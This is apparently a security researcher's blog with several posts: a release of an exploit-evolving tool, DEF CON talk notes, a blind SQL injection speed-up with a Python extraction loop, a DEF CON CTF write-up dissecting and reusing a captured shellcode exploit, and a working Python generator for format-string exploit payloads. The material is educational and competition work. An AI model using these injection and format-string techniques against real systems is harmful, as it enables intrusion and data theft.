Sunday, September 1, 2013

Forced Evolution 2.0!

Forced Evolution 2.0
I'm happy to announce that Forced Evolution 2.0 is released!  It contains a number of updates to make the code cleaner and faster, some bug fixes, documentation (!),  and an expanded exploit database. You can download it here:

https://github.com/soen-vanned/forced-evolution/


Please feel free to email with questions / comments / bugs / feature requests at soen.vanned [@] gmail.com.


-soen



Thursday, August 8, 2013

DEF CON 21 / Evolving Exploits Through Genetic Algorithms / Updated slides

I made significant changes between when the CD was created for the DEF CON attendees,and when I actually gave the presentation; Attached is the version I used during the talk:
Please note that the statistics associated with various web scanners were performed over a series of 10 trials-5 SQLi, and 5 CMD injection using various vulnerable web pages.  As an addendum, I'm not the most proficient Burp user (I claim no significant proficiency / wizardry), so the extensive number of queries that I reported in the charts could be reduced with a more educated user of the tool in question.  My approach when gathering the data was to configure a given tool such that the following would hold true:
  • The primary concern is non-manual interaction with the scanning tool
  • The secondary concern with tool configuration is to create an exploit (if the tool allows for such)
  • The tertiary concern is with vulnerability identification
  • The quaternary concern is with stealth (I.E., least number of requests per amount of time)
Hopefully that should provide a better context for the results presented in the slides.

-soen

Wednesday, August 7, 2013

DEF CON 21 / Forced Evolution

Thanks to the Goons who gave me whiskey during my talk at DEF CON, it was a welcome interruption!

Well, now that conference is over, life is beginning to resume back to the slower pace of just a mild panic.  I'm a fair bit behind on a number of articles I was planning on posting, namely:

  1. Posting my updated slides on Forced Evolution
  2. ShakaCon 5 challenge write ups (as well as posting them to the CTF repo)
  3. Forced Evolution revised code (which is significantly cleaner and easier to use than the current version at https://github.com/soen-vanned/forced-evolution)
  4. Forced Evolution documentation / White paper, laying out my reasons for using the fitness functions I did / did not use, as well as the tweakings of the other settings in an attempt to avoid local (sub-optimal) solutions, and the roadmap for the future of the tool.
  5. Publish / CVE stamp the ~6 blind-SQL 0days I found in the days leading up to DEF CON in a futile attempt to drop a non-blind-SQLi during my talk
So, as the weekend approaches, you can expect some progress to be made on the aforementioned articles :)

-soen

Monday, July 15, 2013

Blind SQL injection optimization

I was recently performing some blind SQL exploitation and was very frustrated at how long it was taking me to dump out the database.  The code I was using to exploit the blind SQL was retrieved from some old blind SQLi I had written a while ago (2004-ish, the only backups that were in place since the great HD crash of 2012) when I first learned this exploitation technique, and it consisted of something like this:

s = ‘’
# ‘ and 1=1 and substr(USER, 1, 1)=’S’; --‘ #example injection returning true or false
front_sqli = ‘\’ and 1=1 and substr(USER,’
middle_sqli = ‘, 1)=\’’
end_sqli = ‘\’; --\’’
try:
  for i in range(0,255):
    for j in range(0,255):
      if exploit(front_sqli + chr(i) + middle_sqli + chr(j) + end_sqli):
        s += chr(j)
except:
  pass
print s

Coming from a newby background, this is completely sufficient to enumerate strings in the database.  It’s really slow.

Really, really, really slow.

So, what are some optimizations we can do to this?  Firstly, we have to take in the constraints of what sort of return we get, and with this application I am getting success or failures (true / false).  We aren't just limited to comparisons of equality (=), we can do quality comparisons (<>), as well as use any SQL to assist in lowering the searchable space.

The first impulse I have is to perform a number of operations to limit the search space, so:
  1. Is the character lower case?
    1. Sequentially search through lower case alphabet a-z
  2. Is the character upper case?
    1.  Sequentially search through upper case alphabet A-Z
  3. If neither,
    1. sequentially search through numbers and symbols
But a couple of caveats come into place here.  The average search time is the following:
  • 2 operations to find the character type (on average)
  • Search space is roughly 32 characters long (a-z=26, A-Z=26, non-az=42 ASCII), average search time is 16 requests (This is not including binary data).
This comes out to an average of 18 operations on the characters for a sequential search.
What about implementing a more efficient search?  The one that comes in immediately is one of the most efficient, the binary search.  So, we now have the following number of operations:
  • 2 operations to find the character type (on average)
  • Search space is still roughly 32 characters long, so worst case we have 5 additional operations.
7 operations are MUCH more efficient than the 16, and given the average response time from the server (due to latency, internet traffic, etc.) I’m getting ~20 requests per second (using the python requests library), which means instead of an average of 1-2 characters per second I’m getting 2-3.

BUT, this current implementation has some problems, as the worst case scenario happens quite frequently when dumping passwords or other non-alpha data (like binary).  So, for a more efficient algo, I decided to use the following:
  1. If dumping a database name / table name / column title, use a binary search WITHOUT the upper/lower comparison but using a printable ASCII searchspace (94 characters) for a worst case search time of 6 requests.
  2. If dumping a column field, use a binary search WITHOUT the upper/lower comparison using the full ASCII searchspace (0-255), for a worst case search time of 8 requests.

The average search request for [1] was 4.21 and for [2] was 6.37, but this is heavily dependent upon the data being parsed.

There are plenty of other ways to optimize and get an extra instruction or two, but 4.21 and 6.37 are massive improvements upon the average of 18.21 requests I was having previously; I was very pleased at the improvement of performance as I am able to pull about 3-5 and 2-4 characters out of the database per second, respectively.

Monday, February 18, 2013

2013!

At the beginning of the new year!

Based on CTFtime.org (http://ctftime.org/stats/2012/), my team, V& placed 47th last year.  We competed in a couple of hacking competitions, culminating at the CTF at DefCon 20.  Unfortunately, we didn't do so hot at the big competition, finishing in 18th place (http://ddtek.biz/).  None-the-less, I had a fantastic experience and the ddtek team hosted a fantastic competition.  My team had a rock solid defense (least amount of keys stolen overall), but our attacking side was lacking: out of 20 possible services to exploit, we had 4 working exploits, with 1 exploit finished within 5 min of CTF end.

My teammates put in a monumental effort, and the experience was incredibly valuable to us.  With the dawn of the new year, it's time to prep for all the new competitions and challenges out there!


Go V&!  QR QR QR!!!!

Tuesday, October 9, 2012

Exploit Harvesting at DefCon 20 CTF


The setting for this scenario was DefCon 20 “Capture The Flag” in Las Vegas.  Each server was set up with a spanning port so that each team could see traffic for their server, and we had a notification system set up so that if we saw one of our secret keys going off the wire, our packet capture system would dump the last minute of traffic into a PCAP file for analysis.  We will focus on an exploit that was detected against a service named “coney”.

Once the exploit was seen on the wire, the packet captures revealed the following:


(The red is sent from the attacker and the blue is the server response.)  The key is the 32-byte ASCII sequence on the 5th from the bottom line, which is what triggered the notification system that the service was being exploited.  So, analyzing the packet capture, there is a question response system:
ATTACKER: “I’m internet famous!\n” (authentication)
SERVER: 16-byte key
SERVER: “enter ip:”
ATTACKER: “dc20:c7f:2012:f:0:0:0:22” (attacker’s IP for the server to connect back to)
SERVER: “knock knock!”
ATTACKER: 32-byte key (authentication)
ATTACKER: (exploit)
SERVER: key + adjacent RAM

The first problem to overcome is that the server gives the client a 16-byte key, but expects a 32 byte one in order to reach the vulnerable code-path.  Upon observation, the keys change every connection, governed by /dev/urandom.  Running this shows that the server is kind enough to send 2 UDP packets 24 bytes long to the IPv6 address specified by the attacker.  Each UDP packet has the same 16-byte key that was in the original connection, but appended is another 8 bytes.  Concatenated together {original 16 byte key} + {8 byte key from UDP1} + {8 byte key from UDP2} == 32-byte key to get to the exploitable code.  Unfortunately, the UDP packets sent to the attacker are sent to random addresses.  The potential for guessing the ports is one pathway to pursue to solve this problem, but the easy (and most quickly implemented) is to listen on all UDP ports 1-65535.  We now know how to reach the exploitable code path and can go about dis-assembling the exploit!


From just a cursory look, the exploit is sandwiched in-between a NOP sled and a bunch of return addresses.  The many 0xBA’s result in 5-byte instructions “0xBA 0xBABABABA”, in assembly: mov dx, 0xBABABABA.  We can assume this is a sled for EIP to hit once the overflow happens, and the 0x16ce9595’s at the end are the part of an overflow that overwrites a return address and causes execution to land in the sled.

Note, the theme of the contest is “everything sheep”, and so the creators of the exploit paid homage to the contest organizers with their “BA BA” sled.

The next step is to extract the exploit and analyze it.  Sometimes this is not the simplest process, as most exploits rely on weird little tricks to compensate for the lack of knowledge about where they are in memory space.  Here is a sample disassembly in IDA: 
and since I don't have a big monitor and it chopped the bottom:


Without looking those far jumps and calls, we can assume the following:
1.     Since the exploit has its strings imbedded in it, it needs to get a reference to the stack so it can use them for function calls.  The string at 0x03e4 -> 0x03f7 could be such a string.
2.     The exploit has to either get references to the import table so that it can call functions that the program uses, or it has to call absolute addresses to do things.  In this case, it looks like it is using an absolute reference to the programs function table.
3.     From the packet capture, the key is printed out, and then some RAM.  This could be two things: the key has been read into memory adjacent to the exploit’s reference to the key file or the key file has been referenced by the program and the exploit is just using a reference to the string to call a read.  We will assume the former, and not the latter (for the moment).

The first jump is most likely a call to a reference giving instruction inside of the programs TEXT segment to get the address of the stack.  The next two calls we can determine by the following criteria: The exploit does not have another string of bytes inside of it (indicating it doesn’t overwrite our key), so we can assume the exploits goal is to print out the key file in the current working directory, and the key is 32-bytes long (0x20 hex).  It then needs to print out this key on the current socket.  So, the following calls are needed:
1.     file_handle = OPEN(“/home/coney/key”, “r”)
2.     storage_area = READ(file_handle, 32 bytes)
3.     WRITE(socket_handle, &storage_area)
4.     Exit / crash

Near the bottom of the exploit listing, there are 3 interesting adds: 0x4f474542 + 0x4f444549 + 0x81534f41.  The potential exists that, despite IDA saying that those instructions are valid, it is actually a string.  Pulling the last 32 bytes and brute force xor’ing them revealed that following about the last 15 bytes: “^EBEGO^EIEDOS^EAOS” xor 0x2a == “/home/coney/key”.  That would be the string needed for the OPEN call.

Re-analyzing the program in light of this in IDA reveals the following:

With this understanding, we can see that the program jumps down to the bottom (0x000003e4) to get a reference to the stack, then back to the decryption section in the middle of the program, the decryption section xors the encrypted “/home/coney/key” string, then jumps to the OPEN call (0x000003a4), which then follows on to the read call (0x00003ac), then to the WRITE(socket, data) call (0x00003c5).

Now that the exploit is fully understood, re-using it is trivial.  Since the exploit is kind enough to re-use the socket file handle and write the key back onto it, there is no need to alter it in order to immediately start exploiting other team’s servers!  Overwriting their keys or gaining a shell is the next step, and since we know where code execution begins within the exploit, all we have to do is substitute the existing shell code with our own, making sure to respect the correct offsets and space requirements.

Friday, July 13, 2012

Those annoying format string exploits

Format string exploits are a pain to write manually.  And it's really easy to make an error, adjust a bunch of stuff, then realize that you had the wrong offset and everything needs to be re-calculated.  I got fed up tonight and (based off of the short (2 byte) write examples in this [Table 12-2]) wrote a little program to automate it for me.  I know there are many examples of this out there (@tlas toolbelt...etc), but I felt like I needed to go through the process to cement my understanding of it.  And I like python more than perl. SO:


#! /usr/bin/env python
from sys import argv
import struct


if len(argv) < 4:
 print 'usage:\n\t'+argv[0]+'  <addr_to_write_to>  <addr_to_write> <offset>'
 exit(0)

addr_to_write_to = int(argv[1], 16)
addr_to_wite     = int(argv[2], 16)
offset           = int(argv[3])

HOB = int((addr_to_wite & 0xffff0000) >> 16)
LOB = int((addr_to_wite & 0x0000ffff))

s = ''
if (HOB < LOB):
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(HOB-8)+'x'
 s += '%'+str(offset)+'$hn'
 s += '%.'+str(LOB-HOB)+'x'
 s += '%'+str(offset+1)+'$hn'
elif (HOB > LOB):
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(LOB-8)+'x'
 s += '%'+str(offset+1)+'$hn'
 s += '%.'+str(HOB-LOB)+'x'
 s += '%'+str(offset)+'$hn'
else: #HOB == LOB
 s += struct.pack('<I', addr_to_write_to+2)
 s += struct.pack('<I', addr_to_write_to)
 s += '%.'+str(HOB-8)+'x'
 s += '%'+str(offset)+'$hn'
 s += '%.'+str(0x10000)+'x'
 s += '%'+str(offset+1)+'$hn'

print s